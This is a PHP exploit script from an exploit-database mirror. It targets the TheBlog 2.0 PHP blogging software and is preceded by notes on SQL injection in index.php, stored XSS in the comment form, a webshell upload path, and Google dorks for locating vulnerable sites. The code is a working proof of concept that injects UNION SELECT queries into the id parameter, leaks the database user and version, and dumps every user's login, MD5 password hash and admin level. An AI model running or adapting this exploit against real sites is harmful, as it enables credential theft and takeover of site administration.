PageRenderTime 56ms CodeModel.GetById 30ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/19060.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 132 lines | 71 code | 8 blank | 53 comment | 3 complexity | 772ecfe8e83abd26dc0d06920a74f3fc MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. # Exploit Title: TheBlog <= 2.0 SQL Injection
  3. # Exploit author: WhiteCollarGroup
  4. # Google Dork: intext:"TheBlog é um software livre e é distribuido sobre a licença GNU/GPL "
  5. # Google Dork: intext:"TheBlog PHP weblogger"
  6. # Date: 10th 06 2012
  7. # Software Link: http://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
  8. # Software homepage: http://theblog.codigolivre.org.br/
  9. # Version: 2.0
  10. # Tested on: Debian GNU/Linux,Windows 7 Ultimate (Apache Server)
  11. /*
  12. WhiteCollarGroup
  13. www.wcgroup.host56.com
  14. whitecollar_group@hotmail.com
  15. @WCollarGroup
  16. -+-
  17. If you will try to hack your own server for test, and will install on a MySQL >= 5, on SQL codes to insert, you must replace all:
  18. TYPE=MyISAM
  19. By:
  20. ENGINE=InnoDB
  21. -+-
  22. We discovered multiple vulnerabilities on this system. All in index.php, vars:
  23. ~> SQL Injection
  24. index.php?id=[sqli]
  25. index.php?cat=[sqli]
  26. index.php?archives=[sqli without "-"]
  27. ~> XSS Persistent (stored)
  28. When reading a post, click "Deixe um comentário" (leave an comment).
  29. In comment form, you have:
  30. Nome: [XSS]
  31. E-mail: [XSS]
  32. Message: [XSS]
  33. Inputs "Nome" and "E-mail" are limited to 255 max chars. Input "Message" haven't limit.
  34. You can inject HTML and JavaScript code.
  35. ~> Arbitraty File Upload
  36. After get admin access, on the menu, click "Upload".
  37. Upload your webshell on the form. A link will be appears on file list ("Lista de Arquivos").
  38. > What's this exploit?
  39. Are a PoC for SQL Injection on "index.php?id=".
  40. How to use:
  41. php exploit.php <target>
  42. Example:
  43. php exploit.php http://target.com/blog/
  44. EDUCATIONAL PURPOSE ONLY!
  45. */
  46. error_reporting(E_ERROR);
  47. set_time_limit(0);
  48. ini_set("default_socket_timeout", 30);
  49. function hex($string){
  50. $hex=''; // PHP 'Dim' =]
  51. for ($i=0; $i < strlen($string); $i++){
  52. $hex .= dechex(ord($string[$i]));
  53. }
  54. return '0x'.$hex;
  55. }
  56. echo "TheBlog <= 2.0 SQL Injection exploit\n";
  57. echo "Discovered and written by WhiteCollarGroup\n";
  58. echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";
  59. if($argc!=2) {
  60. echo "Usage: \n";
  61. echo "php $argv[0] <target url>\n";
  62. echo "Example:\n";
  63. echo "php $argv[0] http://www.website.com/blog\n";
  64. exit;
  65. }
  66. $target = $argv[1];
  67. if(substr($target, (strlen($target)-1))!="/") {
  68. $target .= "/";
  69. }
  70. $inject = $target . "index.php?id=".urlencode("-0' ");
  71. echo "[*] Trying to get informations...\n";
  72. $token = uniqid();
  73. $token_hex = hex($token);
  74. // http://localhost/cms/theblog/theblog2-0/index.php?id=-62%27%20UNION%20ALL%20SELECT%201,2,3,4,5,concat%28login,0x3c3d3e,senha,0x3c3d3e,nivel%29,7,8,9,10,11,12,13%20from%20theblog_users%20LIMIT%200,1--+
  75. $infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,user(),$token_hex,version(),$token_hex),7,8,9,10,11,12,13-- "));
  76. $infos_r = array();
  77. preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
  78. $user = $infos_r[1][0];
  79. $version = $infos_r[2][0];
  80. if($user) {
  81. echo "[!] MySQL version: $version\n";
  82. echo "[!] MySQL user: $user\n";
  83. } else {
  84. echo "[-] Error while getting informations.\n";
  85. }
  86. echo "[*] Getting users...\n";
  87. $i = 0;
  88. while(true) {
  89. $dados_r = array();
  90. $dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,login,$token_hex,senha,$token_hex,nivel,$token_hex),7,8,9,10,11,12,13 FROM theblog_users LIMIT $i,1-- "));
  91. preg_match_all("/$token(.*)$token(.*)$token(.*)$token/", $dados, $dados_r);
  92. $login = $dados_r[1][0];
  93. $senha = $dados_r[2][0];
  94. $nivel = $dados_r[3][0];
  95. if(($login) OR ($senha) OR ($nivel)) {
  96. echo " -+-\n";
  97. echo " User: $login\n"
  98. ." Pass (MD5): $senha\n"
  99. ." Level: ".($nivel=="1" ? "admin" : "poster")."\n";
  100. $i++;
  101. } else {
  102. break;
  103. }
  104. }
  105. if($i!=0) {
  106. echo "[!] Admin login: {$target}admin.php\n";
  107. } else {
  108. echo "[-] Exploit failed. Make sure that's server is using a valid version of TheBlog without Apache mod_security.\nWe're sorry.\n";
  109. }